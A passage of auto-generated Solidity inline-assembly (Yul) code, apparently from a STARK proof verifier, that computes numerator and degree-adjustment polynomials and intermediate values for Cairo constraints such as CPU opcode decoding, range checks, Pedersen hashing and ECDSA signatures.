mstore(0x4ce0,
addmod(
point,
sub(PRIME, /*trace_generator^(2 * (trace_length / 2 - 1))*/ mload(0x45c0)),
PRIME))
// Numerator for constraints 'rc16/perm/step0', 'rc16/diff_is_bit'.
// numerators[3] = point - trace_generator^(4 * (trace_length / 4 - 1)).
mstore(0x4d00,
addmod(
point,
sub(PRIME, /*trace_generator^(4 * (trace_length / 4 - 1))*/ mload(0x45e0)),
PRIME))
// Numerator for constraints 'pedersen/hash0/ec_subset_sum/booleanity_test', 'pedersen/hash0/ec_subset_sum/add_points/slope', 'pedersen/hash0/ec_subset_sum/add_points/x', 'pedersen/hash0/ec_subset_sum/add_points/y', 'pedersen/hash0/ec_subset_sum/copy_point/x', 'pedersen/hash0/ec_subset_sum/copy_point/y', 'pedersen/hash1/ec_subset_sum/booleanity_test', 'pedersen/hash1/ec_subset_sum/add_points/slope', 'pedersen/hash1/ec_subset_sum/add_points/x', 'pedersen/hash1/ec_subset_sum/add_points/y', 'pedersen/hash1/ec_subset_sum/copy_point/x', 'pedersen/hash1/ec_subset_sum/copy_point/y', 'pedersen/hash2/ec_subset_sum/booleanity_test', 'pedersen/hash2/ec_subset_sum/add_points/slope', 'pedersen/hash2/ec_subset_sum/add_points/x', 'pedersen/hash2/ec_subset_sum/add_points/y', 'pedersen/hash2/ec_subset_sum/copy_point/x', 'pedersen/hash2/ec_subset_sum/copy_point/y', 'pedersen/hash3/ec_subset_sum/booleanity_test', 'pedersen/hash3/ec_subset_sum/add_points/slope', 'pedersen/hash3/ec_subset_sum/add_points/x', 'pedersen/hash3/ec_subset_sum/add_points/y', 'pedersen/hash3/ec_subset_sum/copy_point/x', 'pedersen/hash3/ec_subset_sum/copy_point/y'.
// numerators[4] = point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
mstore(0x4d20,
addmod(
/*point^(trace_length / 256)*/ mload(0x44c0),
sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x4600)),
PRIME))
// Numerator for constraints 'pedersen/hash0/copy_point/x', 'pedersen/hash0/copy_point/y', 'pedersen/hash1/copy_point/x', 'pedersen/hash1/copy_point/y', 'pedersen/hash2/copy_point/x', 'pedersen/hash2/copy_point/y', 'pedersen/hash3/copy_point/x', 'pedersen/hash3/copy_point/y'.
// numerators[5] = point^(trace_length / 512) - trace_generator^(trace_length / 2).
mstore(0x4d40,
addmod(
/*point^(trace_length / 512)*/ mload(0x44e0),
sub(PRIME, /*trace_generator^(trace_length / 2)*/ mload(0x4640)),
PRIME))
// Numerator for constraints 'pedersen/input0_addr', 'rc_builtin/addr_step'.
// numerators[6] = point - trace_generator^(128 * (trace_length / 128 - 1)).
mstore(0x4d60,
addmod(
point,
sub(PRIME, /*trace_generator^(128 * (trace_length / 128 - 1))*/ mload(0x4660)),
PRIME))
// Numerator for constraints 'ecdsa/signature0/doubling_key/slope', 'ecdsa/signature0/doubling_key/x', 'ecdsa/signature0/doubling_key/y', 'ecdsa/signature0/exponentiate_key/booleanity_test', 'ecdsa/signature0/exponentiate_key/add_points/slope', 'ecdsa/signature0/exponentiate_key/add_points/x', 'ecdsa/signature0/exponentiate_key/add_points/y', 'ecdsa/signature0/exponentiate_key/add_points/x_diff_inv', 'ecdsa/signature0/exponentiate_key/copy_point/x', 'ecdsa/signature0/exponentiate_key/copy_point/y'.
// numerators[7] = point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256).
mstore(0x4d80,
addmod(
/*point^(trace_length / 4096)*/ mload(0x4520),
sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x4600)),
PRIME))
// Numerator for constraints 'ecdsa/signature0/exponentiate_generator/booleanity_test', 'ecdsa/signature0/exponentiate_generator/add_points/slope', 'ecdsa/signature0/exponentiate_generator/add_points/x', 'ecdsa/signature0/exponentiate_generator/add_points/y', 'ecdsa/signature0/exponentiate_generator/add_points/x_diff_inv', 'ecdsa/signature0/exponentiate_generator/copy_point/x', 'ecdsa/signature0/exponentiate_generator/copy_point/y'.
// numerators[8] = point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
mstore(0x4da0,
addmod(
/*point^(trace_length / 8192)*/ mload(0x4560),
sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x4600)),
PRIME))
// Numerator for constraints 'ecdsa/pubkey_addr'.
// numerators[9] = point - trace_generator^(8192 * (trace_length / 8192 - 1)).
mstore(0x4dc0,
addmod(
point,
sub(PRIME, /*trace_generator^(8192 * (trace_length / 8192 - 1))*/ mload(0x46a0)),
PRIME))
// Numerator for constraints 'checkpoints/required_pc_next_addr', 'checkpoints/req_pc', 'checkpoints/req_fp'.
// numerators[10] = point - trace_generator^(256 * (trace_length / 256 - 1)).
mstore(0x4de0,
addmod(
point,
sub(PRIME, /*trace_generator^(256 * (trace_length / 256 - 1))*/ mload(0x46c0)),
PRIME))
// Adjustment polynomial for constraints 'cpu/decode/opcode_rc/bit'.
// adjustments[0] = point^degreeAdjustment(composition_degree_bound, 2 * (trace_length - 1), trace_length / 16, trace_length).
mstore(0x4e00,
expmod(point, degreeAdjustment(/*composition_degree_bound*/ mload(0x3f20), mul(2, sub(/*trace_length*/ mload(0x80), 1)), div(/*trace_length*/ mload(0x80), 16), /*trace_length*/ mload(0x80)), PRIME))
// Adjustment polynomial for constraints 'cpu/decode/opcode_rc/last_bit', 'cpu/operands/mem_dst_addr', 'cpu/operands/mem0_addr', 'cpu/operands/mem1_addr', 'cpu/operands/ops_mul', 'cpu/operands/res', 'cpu/opcodes/call/push_fp', 'cpu/opcodes/call/push_pc', 'cpu/opcodes/assert_eq/assert_eq'.
// adjustments[1] = point^degreeAdjustment(composition_degree_bound, 2 * (trace_length - 1), 0, trace_length / 16).
mstore(0x4e20,
expmod(point, degreeAdjustment(/*composition_degree_bound*/ mload(0x3f20), mul(2, sub(/*trace_length*/ mload(0x80), 1)), 0, div(/*trace_length*/ mload(0x80), 16)), PRIME))
// Adjustment polynomial for constraints 'cpu/decode/opcode_rc_input'.
// adjustments[2] = point^degreeAdjustment(composition_degree_bound, trace_length - 1, 0, trace_length / 16).
mstore(0x4e40,
expmod(point, degreeAdjustment(/*composition_degree_bound*/ mload(0x3f20), sub(/*trace_length*/ mload(0x80), 1), 0, div(/*trace_length*/ mload(0x80), 16)), PRIME))
// Adjustment polynomial for constraints 'cpu/update_registers/update_pc/tmp0', 'cpu/update_registers/update_pc/tmp1', 'cpu/update_registers/update_pc/pc_cond_negative', 'cpu/update_registers/update_pc/pc_cond_positive', 'cpu/update_registers/update_ap/ap_update', 'cpu/update_registers/update_fp/fp_update'.
// adjustments[3] = point^degreeAdjustment(composition_degree_bound, 2 * (trace_length - 1), 1, trace_length / 16).
mstore(0x4e60,
expmod(point, degreeAdjustment(/*composition_degree_bound*/ mload(0x3f20), mul(2, sub(/*trace_length*/ mload(0x80), 1)), 1, div(/*trace_length*/ mload(0x80), 16)), PRIME))
// Adjustment polynomial for constraints 'initial_ap', 'initial_fp', 'initial_pc', 'final_ap', 'final_pc', 'memory/multi_column_perm/perm/last', 'rc16/perm/last', 'rc16/minimum', 'rc16/maximum', 'pedersen/init_addr', 'rc_builtin/init_addr', 'ecdsa/init_addr', 'checkpoints/req_pc_init_addr', 'checkpoints/req_pc_final_addr'.
// adjustments[4] = point^degreeAdjustment(composition_degree_bound, trace_length - 1, 0, 1).
mstore(0x4e80,
expmod(point, degreeAdjustment(/*composition_degree_bound*/ mload(0x3f20), sub(/*trace_length*/ mload(0x80), 1), 0, 1), PRIME))
// Adjustment polynomial for constraints 'memory/multi_column_perm/perm/init0', 'rc16/perm/init0'.
// adjustments[5] = point^degreeAdjustment(composition_degree_bound, 2 * (trace_length - 1), 0, 1).
mstore(0x4ea0,
expmod(point, degreeAdjustment(/*composition_degree_bound*/ mload(0x3f20), mul(2, sub(/*trace_length*/ mload(0x80), 1)), 0, 1), PRIME))
// Adjustment polynomial for constraints 'memory/multi_column_perm/perm/step0', 'memory/diff_is_bit', 'memory/is_func'.
// adjustments[6] = point^degreeAdjustment(composition_degree_bound, 2 * (trace_length - 1), 1, trace_length / 2).
mstore(0x4ec0,
expmod(point, degreeAdjustment(/*composition_degree_bound*/ mload(0x3f20), mul(2, sub(/*trace_length*/ mload(0x80), 1)), 1, div(/*trace_length*/ mload(0x80), 2)), PRIME))
// Adjustment polynomial for constraints 'public_memory_addr_zero', 'public_memory_value_zero'.
// adjustments[7] = point^degreeAdjustment(composition_degree_bound, trace_length - 1, 0, trace_length / 8).
mstore(0x4ee0,
expmod(point, degreeAdjustment(/*composition_degree_bound*/ mload(0x3f20), sub(/*trace_length*/ mload(0x80), 1), 0, div(/*trace_length*/ mload(0x80), 8)), PRIME))
// Adjustment polynomial for constraints 'rc16/perm/step0', 'rc16/diff_is_bit'.
// adjustments[8] = point^degreeAdjustment(composition_degree_bound, 2 * (trace_length - 1), 1, trace_length / 4).
mstore(0x4f00,
expmod(point, degreeAdjustment(/*composition_degree_bound*/ mload(0x3f20), mul(2, sub(/*trace_length*/ mload(0x80), 1)), 1, div(/*trace_length*/ mload(0x80), 4)), PRIME))
// Adjustment polynomial for constraints 'pedersen/hash0/ec_subset_sum/booleanity_test', 'pedersen/hash0/ec_subset_sum/add_points/slope', 'pedersen/hash0/ec_subset_sum/add_points/x', 'pedersen/hash0/ec_subset_sum/add_points/y', 'pedersen/hash0/ec_subset_sum/copy_point/x', 'pedersen/hash0/ec_subset_sum/copy_point/y', 'pedersen/hash1/ec_subset_sum/booleanity_test', 'pedersen/hash1/ec_subset_sum/add_points/slope', 'pedersen/hash1/ec_subset_sum/add_points/x', 'pedersen/hash1/ec_subset_sum/add_points/y', 'pedersen/hash1/ec_subset_sum/copy_point/x', 'pedersen/hash1/ec_subset_sum/copy_point/y', 'pedersen/hash2/ec_subset_sum/booleanity_test', 'pedersen/hash2/ec_subset_sum/add_points/slope', 'pedersen/hash2/ec_subset_sum/add_points/x', 'pedersen/hash2/ec_subset_sum/add_points/y', 'pedersen/hash2/ec_subset_sum/copy_point/x', 'pedersen/hash2/ec_subset_sum/copy_point/y', 'pedersen/hash3/ec_subset_sum/booleanity_test', 'pedersen/hash3/ec_subset_sum/add_points/slope', 'pedersen/hash3/ec_subset_sum/add_points/x', 'pedersen/hash3/ec_subset_sum/add_points/y', 'pedersen/hash3/ec_subset_sum/copy_point/x', 'pedersen/hash3/ec_subset_sum/copy_point/y'.
// adjustments[9] = point^degreeAdjustment(composition_degree_bound, 2 * (trace_length - 1), trace_length / 256, trace_length).
mstore(0x4f20,
expmod(point, degreeAdjustment(/*composition_degree_bound*/ mload(0x3f20), mul(2, sub(/*trace_length*/ mload(0x80), 1)), div(/*trace_length*/ mload(0x80), 256), /*trace_length*/ mload(0x80)), PRIME))
// Adjustment polynomial for constraints 'pedersen/hash0/ec_subset_sum/bit_extraction_end', 'pedersen/hash0/ec_subset_sum/zeros_tail', 'pedersen/hash1/ec_subset_sum/bit_extraction_end', 'pedersen/hash1/ec_subset_sum/zeros_tail', 'pedersen/hash2/ec_subset_sum/bit_extraction_end', 'pedersen/hash2/ec_subset_sum/zeros_tail', 'pedersen/hash3/ec_subset_sum/bit_extraction_end', 'pedersen/hash3/ec_subset_sum/zeros_tail', 'checkpoints/required_fp_addr'.
// adjustments[10] = point^degreeAdjustment(composition_degree_bound, trace_length - 1, 0, trace_length / 256).
mstore(0x4f40,
expmod(point, degreeAdjustment(/*composition_degree_bound*/ mload(0x3f20), sub(/*trace_length*/ mload(0x80), 1), 0, div(/*trace_length*/ mload(0x80), 256)), PRIME))
// Adjustment polynomial for constraints 'pedersen/hash0/copy_point/x', 'pedersen/hash0/copy_point/y', 'pedersen/hash1/copy_point/x', 'pedersen/hash1/copy_point/y', 'pedersen/hash2/copy_point/x', 'pedersen/hash2/copy_point/y', 'pedersen/hash3/copy_point/x', 'pedersen/hash3/copy_point/y'.
// adjustments[11] = point^degreeAdjustment(composition_degree_bound, trace_length - 1, trace_length / 512, trace_length / 256).
mstore(0x4f60,
expmod(point, degreeAdjustment(/*composition_degree_bound*/ mload(0x3f20), sub(/*trace_length*/ mload(0x80), 1), div(/*trace_length*/ mload(0x80), 512), div(/*trace_length*/ mload(0x80), 256)), PRIME))
// Adjustment polynomial for constraints 'pedersen/hash0/init/x', 'pedersen/hash0/init/y', 'pedersen/hash1/init/x', 'pedersen/hash1/init/y', 'pedersen/hash2/init/x', 'pedersen/hash2/init/y', 'pedersen/hash3/init/x', 'pedersen/hash3/init/y', 'pedersen/input0_value0', 'pedersen/input0_value1', 'pedersen/input0_value2', 'pedersen/input0_value3', 'pedersen/input1_value0', 'pedersen/input1_value1', 'pedersen/input1_value2', 'pedersen/input1_value3', 'pedersen/output_value0', 'pedersen/output_value1', 'pedersen/output_value2', 'pedersen/output_value3'.
// adjustments[12] = point^degreeAdjustment(composition_degree_bound, trace_length - 1, 0, trace_length / 512).
mstore(0x4f80,
expmod(point, degreeAdjustment(/*composition_degree_bound*/ mload(0x3f20), sub(/*trace_length*/ mload(0x80), 1), 0, div(/*trace_length*/ mload(0x80), 512)), PRIME))
// Adjustment polynomial for constraints 'pedersen/input0_addr', 'rc_builtin/addr_step'.
// adjustments[13] = point^degreeAdjustment(composition_degree_bound, trace_length - 1, 1, trace_length / 128).
mstore(0x4fa0,
expmod(point, degreeAdjustment(/*composition_degree_bound*/ mload(0x3f20), sub(/*trace_length*/ mload(0x80), 1), 1, div(/*trace_length*/ mload(0x80), 128)), PRIME))
// Adjustment polynomial for constraints 'pedersen/input1_addr', 'pedersen/output_addr', 'rc_builtin/value'.
// adjustments[14] = point^degreeAdjustment(composition_degree_bound, trace_length - 1, 0, trace_length / 128).
mstore(0x4fc0,
expmod(point, degreeAdjustment(/*composition_degree_bound*/ mload(0x3f20), sub(/*trace_length*/ mload(0x80), 1), 0, div(/*trace_length*/ mload(0x80), 128)), PRIME))
// Adjustment polynomial for constraints 'ecdsa/signature0/doubling_key/slope', 'ecdsa/signature0/doubling_key/x', 'ecdsa/signature0/doubling_key/y', 'ecdsa/signature0/exponentiate_key/booleanity_test', 'ecdsa/signature0/exponentiate_key/add_points/slope', 'ecdsa/signature0/exponentiate_key/add_points/x', 'ecdsa/signature0/exponentiate_key/add_points/y', 'ecdsa/signature0/exponentiate_key/add_points/x_diff_inv', 'ecdsa/signature0/exponentiate_key/copy_point/x', 'ecdsa/signature0/exponentiate_key/copy_point/y'.
// adjustments[15] = point^degreeAdjustment(composition_degree_bound, 2 * (trace_length - 1), trace_length / 4096, trace_length / 16).
mstore(0x4fe0,
expmod(point, degreeAdjustment(/*composition_degree_bound*/ mload(0x3f20), mul(2, sub(/*trace_length*/ mload(0x80), 1)), div(/*trace_length*/ mload(0x80), 4096), div(/*trace_length*/ mload(0x80), 16)), PRIME))
// Adjustment polynomial for constraints 'ecdsa/signature0/exponentiate_generator/booleanity_test', 'ecdsa/signature0/exponentiate_generator/add_points/slope', 'ecdsa/signature0/exponentiate_generator/add_points/x', 'ecdsa/signature0/exponentiate_generator/add_points/y', 'ecdsa/signature0/exponentiate_generator/add_points/x_diff_inv', 'ecdsa/signature0/exponentiate_generator/copy_point/x', 'ecdsa/signature0/exponentiate_generator/copy_point/y'.
// adjustments[16] = point^degreeAdjustment(composition_degree_bound, 2 * (trace_length - 1), trace_length / 8192, trace_length / 32).
mstore(0x5000,
expmod(point, degreeAdjustment(/*composition_degree_bound*/ mload(0x3f20), mul(2, sub(/*trace_length*/ mload(0x80), 1)), div(/*trace_length*/ mload(0x80), 8192), div(/*trace_length*/ mload(0x80), 32)), PRIME))
// Adjustment polynomial for constraints 'ecdsa/signature0/exponentiate_generator/bit_extraction_end', 'ecdsa/signature0/exponentiate_generator/zeros_tail', 'ecdsa/signature0/init_gen/x', 'ecdsa/signature0/init_gen/y', 'ecdsa/message_addr', 'ecdsa/message_value0', 'ecdsa/pubkey_value0'.
// adjustments[17] = point^degreeAdjustment(composition_degree_bound, trace_length - 1, 0, trace_length / 8192).
mstore(0x5020,
expmod(point, degreeAdjustment(/*composition_degree_bound*/ mload(0x3f20), sub(/*trace_length*/ mload(0x80), 1), 0, div(/*trace_length*/ mload(0x80), 8192)), PRIME))
// Adjustment polynomial for constraints 'ecdsa/signature0/exponentiate_key/bit_extraction_end', 'ecdsa/signature0/exponentiate_key/zeros_tail', 'ecdsa/signature0/init_key/x', 'ecdsa/signature0/init_key/y'.
// adjustments[18] = point^degreeAdjustment(composition_degree_bound, trace_length - 1, 0, trace_length / 4096).
mstore(0x5040,
expmod(point, degreeAdjustment(/*composition_degree_bound*/ mload(0x3f20), sub(/*trace_length*/ mload(0x80), 1), 0, div(/*trace_length*/ mload(0x80), 4096)), PRIME))
// Adjustment polynomial for constraints 'ecdsa/signature0/add_results/slope', 'ecdsa/signature0/add_results/x', 'ecdsa/signature0/add_results/y', 'ecdsa/signature0/add_results/x_diff_inv', 'ecdsa/signature0/extract_r/slope', 'ecdsa/signature0/extract_r/x', 'ecdsa/signature0/extract_r/x_diff_inv', 'ecdsa/signature0/z_nonzero', 'ecdsa/signature0/q_on_curve/x_squared', 'ecdsa/signature0/q_on_curve/on_curve'.
// adjustments[19] = point^degreeAdjustment(composition_degree_bound, 2 * (trace_length - 1), 0, trace_length / 8192).
mstore(0x5060,
expmod(point, degreeAdjustment(/*composition_degree_bound*/ mload(0x3f20), mul(2, sub(/*trace_length*/ mload(0x80), 1)), 0, div(/*trace_length*/ mload(0x80), 8192)), PRIME))
// Adjustment polynomial for constraints 'ecdsa/signature0/r_and_w_nonzero'.
// adjustments[20] = point^degreeAdjustment(composition_degree_bound, 2 * (trace_length - 1), 0, trace_length / 4096).
mstore(0x5080,
expmod(point, degreeAdjustment(/*composition_degree_bound*/ mload(0x3f20), mul(2, sub(/*trace_length*/ mload(0x80), 1)), 0, div(/*trace_length*/ mload(0x80), 4096)), PRIME))
// Adjustment polynomial for constraints 'ecdsa/pubkey_addr'.
// adjustments[21] = point^degreeAdjustment(composition_degree_bound, trace_length - 1, 1, trace_length / 8192).
mstore(0x50a0,
expmod(point, degreeAdjustment(/*composition_degree_bound*/ mload(0x3f20), sub(/*trace_length*/ mload(0x80), 1), 1, div(/*trace_length*/ mload(0x80), 8192)), PRIME))
// Adjustment polynomial for constraints 'checkpoints/required_pc_next_addr', 'checkpoints/req_pc', 'checkpoints/req_fp'.
// adjustments[22] = point^degreeAdjustment(composition_degree_bound, 2 * (trace_length - 1), 1, trace_length / 256).
mstore(0x50c0,
expmod(point, degreeAdjustment(/*composition_degree_bound*/ mload(0x3f20), mul(2, sub(/*trace_length*/ mload(0x80), 1)), 1, div(/*trace_length*/ mload(0x80), 256)), PRIME))
}
{
// Compute the result of the composition polynomial.
{
// cpu/decode/opcode_rc/bit_0 = column0_row0 - (column0_row1 + column0_row1).
let val := addmod(
/*column0_row0*/ mload(0x2980),
sub(
PRIME,
addmod(/*column0_row1*/ mload(0x29a0), /*column0_row1*/ mload(0x29a0), PRIME)),
PRIME)
mstore(0x3f40, val)
}
{
// cpu/decode/opcode_rc/bit_1 = column0_row1 - (column0_row2 + column0_row2).
let val := addmod(
/*column0_row1*/ mload(0x29a0),
sub(
PRIME,
addmod(/*column0_row2*/ mload(0x29c0), /*column0_row2*/ mload(0x29c0), PRIME)),
PRIME)
mstore(0x3f60, val)
}
{
// cpu/decode/opcode_rc/bit_2 = column0_row2 - (column0_row3 + column0_row3).
let val := addmod(
/*column0_row2*/ mload(0x29c0),
sub(
PRIME,
addmod(/*column0_row3*/ mload(0x29e0), /*column0_row3*/ mload(0x29e0), PRIME)),
PRIME)
mstore(0x3f80, val)
}
{
// cpu/decode/opcode_rc/bit_4 = column0_row4 - (column0_row5 + column0_row5).
let val := addmod(
/*column0_row4*/ mload(0x2a00),
sub(
PRIME,
addmod(/*column0_row5*/ mload(0x2a20), /*column0_row5*/ mload(0x2a20), PRIME)),
PRIME)
mstore(0x3fa0, val)
}
{
// cpu/decode/opcode_rc/bit_3 = column0_row3 - (column0_row4 + column0_row4).
let val := addmod(
/*column0_row3*/ mload(0x29e0),
sub(
PRIME,
addmod(/*column0_row4*/ mload(0x2a00), /*column0_row4*/ mload(0x2a00), PRIME)),
PRIME)
mstore(0x3fc0, val)
}
{
// cpu/decode/opcode_rc/bit_9 = column0_row9 - (column0_row10 + column0_row10).
let val := addmod(
/*column0_row9*/ mload(0x2aa0),
sub(
PRIME,
addmod(/*column0_row10*/ mload(0x2ac0), /*column0_row10*/ mload(0x2ac0), PRIME)),
PRIME)
mstore(0x3fe0, val)
}
{
// cpu/decode/opcode_rc/bit_5 = column0_row5 - (column0_row6 + column0_row6).
let val := addmod(
/*column0_row5*/ mload(0x2a20),
sub(
PRIME,
addmod(/*column0_row6*/ mload(0x2a40), /*column0_row6*/ mload(0x2a40), PRIME)),
PRIME)
mstore(0x4000, val)
}
{
// cpu/decode/opcode_rc/bit_6 = column0_row6 - (column0_row7 + column0_row7).
let val := addmod(
/*column0_row6*/ mload(0x2a40),
sub(
PRIME,
addmod(/*column0_row7*/ mload(0x2a60), /*column0_row7*/ mload(0x2a60), PRIME)),
PRIME)
mstore(0x4020, val)
}
{
// cpu/decode/opcode_rc/bit_7 = column0_row7 - (column0_row8 + column0_row8).
let val := addmod(
/*column0_row7*/ mload(0x2a60),
sub(
PRIME,
addmod(/*column0_row8*/ mload(0x2a80), /*column0_row8*/ mload(0x2a80), PRIME)),
PRIME)
mstore(0x4040, val)
}
{
// cpu/decode/opcode_rc/bit_8 = column0_row8 - (column0_row9 + column0_row9).
let val := addmod(
/*column0_row8*/ mload(0x2a80),
sub(
PRIME,
addmod(/*column0_row9*/ mload(0x2aa0), /*column0_row9*/ mload(0x2aa0), PRIME)),
PRIME)
mstore(0x4060, val)
}
{
// npc_reg_0 = column17_row0 + cpu__decode__opcode_rc__bit_2 + 1.
let val := addmod(
addmod(
/*column17_row0*/ mload(0x3200),
/*intermediate_value/cpu/decode/opcode_rc/bit_2*/ mload(0x3f80),
PRIME),
1,
PRIME)
mstore(0x4080, val)
}
{
// cpu/decode/opcode_rc/bit_10 = column0_row10 - (column0_row11 + column0_row11).
let val := addmod(
/*column0_row10*/ mload(0x2ac0),
sub(
PRIME,
addmod(/*column0_row11*/ mload(0x2ae0), /*column0_row11*/ mload(0x2ae0), PRIME)),
PRIME)
mstore(0x40a0, val)
}
{
// cpu/decode/opcode_rc/bit_11 = column0_row11 - (column0_row12 + column0_row12).
let val := addmod(
/*column0_row11*/ mload(0x2ae0),
sub(
PRIME,
addmod(/*column0_row12*/ mload(0x2b00), /*column0_row12*/ mload(0x2b00), PRIME)),
PRIME)
mstore(0x40c0, val)
}
{
// cpu/decode/opcode_rc/bit_12 = column0_row12 - (column0_row13 + column0_row13).
let val := addmod(
/*column0_row12*/ mload(0x2b00),
sub(
PRIME,
addmod(/*column0_row13*/ mload(0x2b20), /*column0_row13*/ mload(0x2b20), PRIME)),
PRIME)
mstore(0x40e0, val)
}
{
// cpu/decode/opcode_rc/bit_13 = column0_row13 - (column0_row14 + column0_row14).
let val := addmod(
/*column0_row13*/ mload(0x2b20),
sub(
PRIME,
addmod(/*column0_row14*/ mload(0x2b40), /*column0_row14*/ mload(0x2b40), PRIME)),
PRIME)
mstore(0x4100, val)
}
{
// cpu/decode/opcode_rc/bit_14 = column0_row14 - (column0_row15 + column0_row15).
let val := addmod(
/*column0_row14*/ mload(0x2b40),
sub(
PRIME,
addmod(/*column0_row15*/ mload(0x2b60), /*column0_row15*/ mload(0x2b60), PRIME)),
PRIME)
mstore(0x4120, val)
}
{
// memory/address_diff_0 = column18_row2 - column18_row0.
let val := addmod(/*column18_row2*/ mload(0x3740), sub(PRIME, /*column18_row0*/ mload(0x3700)), PRIME)
mstore(0x4140, val)
}
{
// rc16/diff_0 = column19_row6 - column19_row2.
let val := addmod(/*column19_row6*/ mload(0x3840), sub(PRIME, /*column19_row2*/ mload(0x37c0)), PRIME)
mstore(0x4160, val)
}
{
// pedersen/hash0/ec_subset_sum/bit_0 = column4_row0 - (column4_row1 + column4_row1).
let val := addmod(
/*column4_row0*/ mload(0x2cc0),
sub(
PRIME,
addmod(/*column4_row1*/ mload(0x2ce0), /*column4_row1*/ mload(0x2ce0), PRIME)),
PRIME)
mstore(0x4180, val)
}
{
// pedersen/hash0/ec_subset_sum/bit_neg_0 = 1 - pedersen__hash0__ec_subset_sum__bit_0.
let val := addmod(
1,
sub(PRIME, /*intermediate_value/pedersen/hash0/ec_subset_sum/bit_0*/ mload(0x4180)),
PRIME)
mstore(0x41a0, val)
}
{
// pedersen/hash1/ec_subset_sum/bit_0 = column8_row0 - (column8_row1 + column8_row1).
let val := addmod(
/*column8_row0*/ mload(0x2e60),
sub(
PRIME,
addmod(/*column8_row1*/ mload(0x2e80), /*column8_row1*/ mload(0x2e80), PRIME)),
PRIME)
mstore(0x41c0, val)
}
{
// pedersen/hash1/ec_subset_sum/bit_neg_0 = 1 - pedersen__hash1__ec_subset_sum__bit_0.
let val := addmod(
1,
sub(PRIME, /*intermediate_value/pedersen/hash1/ec_subset_sum/bit_0*/ mload(0x41c0)),
PRIME)
mstore(0x41e0, val)
}
{
// pedersen/hash2/ec_subset_sum/bit_0 = column12_row0 - (column12_row1 + column12_row1).
let val := addmod(
/*column12_row0*/ mload(0x3000),
sub(
PRIME,
addmod(/*column12_row1*/ mload(0x3020), /*column12_row1*/ mload(0x3020), PRIME)),
PRIME)
mstore(0x4200, val)
}
{
// pedersen/hash2/ec_subset_sum/bit_neg_0 = 1 - pedersen__hash2__ec_subset_sum__bit_0.
let val := addmod(
1,
sub(PRIME, /*intermediate_value/pedersen/hash2/ec_subset_sum/bit_0*/ mload(0x4200)),
PRIME)
mstore(0x4220, val)
}
{
// pedersen/hash3/ec_subset_sum/bit_0 = column16_row0 - (column16_row1 + column16_row1).
let val := addmod(
/*column16_row0*/ mload(0x31a0),
sub(
PRIME,
addmod(/*column16_row1*/ mload(0x31c0), /*column16_row1*/ mload(0x31c0), PRIME)),
PRIME)
mstore(0x4240, val)
}
{
// pedersen/hash3/ec_subset_sum/bit_neg_0 = 1 - pedersen__hash3__ec_subset_sum__bit_0.
let val := addmod(
1,
sub(PRIME, /*intermediate_value/pedersen/hash3/ec_subset_sum/bit_0*/ mload(0x4240)),
PRIME)
mstore(0x4260, val)
}
{
// rc_builtin/value0_0 = column19_row12.
let val := /*column19_row12*/ mload(0x38e0)
mstore(0x4280, val)
}
{
// rc_builtin/value1_0 = rc_builtin__value0_0 * offset_size + column19_row28.
let val := addmod(
mulmod(
/*intermediate_value/rc_builtin/value0_0*/ mload(0x4280),
/*offset_size*/ mload(0xa0),
PRIME),
/*column19_row28*/ mload(0x39a0),
PRIME)
mstore(0x42a0, val)
}
{
// rc_builtin/value2_0 = rc_builtin__value1_0 * offset_size + column19_row44.
let val := addmod(
mulmod(
/*intermediate_value/rc_builtin/value1_0*/ mload(0x42a0),
/*offset_size*/ mload(0xa0),
PRIME),
/*column19_row44*/ mload(0x39e0),
PRIME)
mstore(0x42c0, val)
}
{
// rc_builtin/value3_0 = rc_builtin__value2_0 * offset_size + column19_row60.
let val := addmod(
mulmod(
/*intermediate_value/rc_builtin/value2_0*/ mload(0x42c0),
/*offset_size*/ mload(0xa0),
PRIME),
/*column19_row60*/ mload(0x3a00),
PRIME)
mstore(0x42e0, val)
}
{
// rc_builtin/value4_0 = rc_builtin__value3_0 * offset_size + column19_row76.
let val := addmod(
mulmod(
/*intermediate_value/rc_builtin/value3_0*/ mload(0x42e0),
/*offset_size*/ mload(0xa0),
PRIME),
/*column19_row76*/ mload(0x3a20),
PRIME)
mstore(0x4300, val)
}
{
// rc_builtin/value5_0 = rc_builtin__value4_0 * offset_size + column19_row92.
let val := addmod(
mulmod(
/*intermediate_value/rc_builtin/value4_0*/ mload(0x4300),
/*offset_size*/ mload(0xa0),
PRIME),
/*column19_row92*/ mload(0x3a40),
PRIME)
mstore(0x4320, val)
}
{
// rc_builtin/value6_0 = rc_builtin__value5_0 * offset_size + column19_row108.
let val := addmod(
mulmod(
/*intermediate_value/rc_builtin/value5_0*/ mload(0x4320),
/*offset_size*/ mload(0xa0),
PRIME),
/*column19_row108*/ mload(0x3a60),
PRIME)
mstore(0x4340, val)
}
{
// rc_builtin/value7_0 = rc_builtin__value6_0 * offset_size + column19_row124.
let val := addmod(
mulmod(
/*intermediate_value/rc_builtin/value6_0*/ mload(0x4340),
/*offset_size*/ mload(0xa0),
PRIME),
/*column19_row124*/ mload(0x3a80),
PRIME)
mstore(0x4360, val)
}
{
// ecdsa/signature0/doubling_key/x_squared = column19_row7 * column19_row7.
let val := mulmod(/*column19_row7*/ mload(0x3860), /*column19_row7*/ mload(0x3860), PRIME)
mstore(0x4380, val)
}
{
// ecdsa/signature0/exponentiate_generator/bit_0 = column20_row30 - (column20_row62 + column20_row62).
let val := addmod(
/*column20_row30*/ mload(0x3c80),
sub(
PRIME,
addmod(/*column20_row62*/ mload(0x3ce0), /*column20_row62*/ mload(0x3ce0), PRIME)),
PRIME)
mstore(0x43a0, val)
}
{
// ecdsa/signature0/exponentiate_generator/bit_neg_0 = 1 - ecdsa__signature0__exponentiate_generator__bit_0.
let val := addmod(
1,
sub(
PRIME,
/*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0*/ mload(0x43a0)),
PRIME)
mstore(0x43c0, val)
}
{
// ecdsa/signature0/exponentiate_key/bit_0 = column20_row2 - (column20_row18 + column20_row18).
let val := addmod(
/*column20_row2*/ mload(0x3b20),
sub(
PRIME,
addmod(/*column20_row18*/ mload(0x3c00), /*column20_row18*/ mload(0x3c00), PRIME)),
PRIME)
mstore(0x43e0, val)
}
{
